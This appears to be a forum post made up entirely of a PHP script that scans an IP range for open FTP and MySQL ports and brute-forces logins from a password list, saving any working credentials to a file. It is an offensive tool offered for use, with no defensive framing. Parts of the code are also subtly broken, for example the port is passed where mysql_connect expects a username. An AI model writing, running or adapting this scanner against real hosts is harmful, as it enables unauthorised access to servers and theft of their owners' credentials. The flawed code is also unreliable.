Code:
<?php
set_time_limit(0);
error_reporting(0);
///////////////////////////////////////////////////////////
//
// ftp and mysql scanner (scan ip range and bruteforce passwords)
// version 1
//
///////////////////////////////////////////////////////////
// INSERT IP RANGE
$ip_range = "127.0.0.1-128.2.2.5";
// INSERT FTP PORT
$ftp_port = 21;
// INSERT MYSQL PORT
$mysql_port = 3306;
//
///////////////////////////////////////////////////////////
list($start, $stop) = split('[-]', $ip_range);
list($s1, $s2, $s3, $s4) = split('[.]', $start);
list($e1, $e2, $e3, $e4) = split('[.]', $stop);
for($i1=$s1;$i1<=$e1;$i1++)
for($i2=$s2;$i2<=$e2;$i2++)
for($i3=$s3;$i3<=$e3;$i3++)
for($i4=$s4;$i4<=$e4;$i4++) {
$ip = $i1.".".$i2.".".$i3.".".$i4;
isportopen($ip, $ftp_port, $mysql_port);
usleep(50000);
}
function isportopen($ip_it, $port_ftp, $port_mysql) {
$conftp = fsockopen($ip_it, $port_ftp, $errno, $errstr, 10);
if($conftp) {
writetofile($ip_it.":$port_ftp is open", "open_ports.txt");
testftp($ip_it, $port_ftp);
}
fclose($conftp);
$conmysql = fsockopen($ip_it, $port_mysql, $errno, $errstr, 10);
if($conmysql) {
writetofile($ip_it.":$port_mysql is open", "open_ports.txt");
testmysql($ip_it, $port_mysql);
}
fclose($conmysql);
}
function testftp($ip_tt, $port_tt) {
$pwd_list = "pwd.txt";
$pwd_file = fopen($pwd_list, "r");
$connection = ftp_connect($ip_tt, $port_tt);
while(!feof($pwd_file)) {
$pwd_entry = fgets($pwd_file);
list($username, $password) = split('[ ]', $pwd_entry);
$login = ftp_login($connection, trim($username), trim($password));
if($login) {
writetofile("Server: $ip_tt:$port_tt\nUsername: $username\nPassword: $password\n\n", "found_logins.txt");
break;
}
usleep(50000);
}
ftp_close($connection);
fclose($pwd_file);
}
function testmysql($ip_my, $port_my) {
$pwd_list = "pwd.txt";
$pwd_file = fopen($pwd_list, "r");
while(!feof($pwd_file)) {
$pwd_entry = fgets($pwd_file);
list($username, $password) = split('[ ]', $pwd_entry);
$connection = mysql_connect($ip_my, $port_my, trim($username), trim($password));
if($connection) {
writetofile("Server: $ip_my:$port_my\nUsername: $username\nPassword: $password\n\n", "found_logins.txt");
break;
}
usleep(50000);
}
mysql_close($connection);
fclose($pwd_file);
}
function writetofile($string, $filetowrite) {
$file = fopen($filetowrite, "a") or die("error");
fwrite($file, $string."\n");
fclose($file);
}
?> |